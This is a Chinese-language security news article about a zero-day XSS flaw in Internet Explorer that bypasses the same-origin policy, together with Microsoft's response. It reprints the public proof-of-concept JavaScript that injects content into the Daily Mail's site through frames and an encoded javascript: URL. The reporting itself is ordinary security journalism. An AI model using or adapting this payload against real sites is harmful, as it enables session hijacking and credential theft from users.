最新XSS 0day漏洞来袭 影响最新版本IE浏览器

安全研究人员近日发现了一个严重的XSS 0day漏洞，该漏洞可影响最新版本的IE浏览器，将用户暴露在被攻击和身份盗窃的危险之中。

漏洞信息

该漏洞能够影响完全修复过的IE浏览器，黑客可以利用该漏洞盗取用户的敏感数据(例如登录凭证)，并能向浏览器会话注入恶意内容。

攻击者利用该XSS漏洞可以绕过同源策略(SOP)。同源策略是web应用中一个基本的安全模型，用来保护用户的浏览体验。

同源策略在维基百科上的解释为：

“该策略允许同一站点(系统、主机名和端口号的组合)页面上的脚本访问彼此的DOM，而没有特定的限制，但阻止访问不同站点上的DOM。”

漏洞POC

上周Deusen公布了一个POC利用，以此演示当用户使用完全修补的IE浏览器访问特定的网页时如何绕过SOP。该Demo向《每日邮报》官方网站中注入了“Hacked by Deusen”的内容。

以同样的方式，一旦攻击者登录网站，他们就可以冒充受害者从该网站盗取身份验证cookie。一旦得到cookie，攻击者就可以访问某些限制区域，而正常情况下该区域只有受害者能访问，包括信用卡数据、浏览历史和其他机密数据。此外，钓鱼网站也可以利用该漏洞诱骗网民泄露他们在敏感网站的登录密码。

下面是绕过IE浏览器中同源策略所使用的代码：

function go()
{
   w=window.frames[0];
   w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Closethis window after 3seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1);
}
setTimeout("go()",1000);

微软回应

微软表示已经开始修复该漏洞。微软确认目前还没有收到大量漏洞利用的案例。

“我们还没听说这个漏洞被大量利用，目前我们正在进行安全更新。另外，要利用该漏洞，攻击者需要首先诱导用户进入一个恶意网站，这一步经常通过网络钓鱼来实现。不过，在新版本的IE浏览器中默认开启的SmartScreen功能，能够保护用户免受钓鱼网站危害。

我们将继续鼓励用户不要打开来源不明的的链接，同时也不要访问不可信的网站。并且，为了保护用户的信息，我们建议在离开网站时要及时注销登录的账号。”

微软解释说，攻击者必须首先诱导受害者访问一个恶意网站，这一般可以通过几种方式简单地实现：例如，可以通过垃圾邮件分享一个链接，或者通过社交网络来实现。

接下来，让我们共同等待微软修复漏洞吧。

参考来源：http://securityaffairs.co/wordpress/33089/security/severe-xss-flaw-explorer.html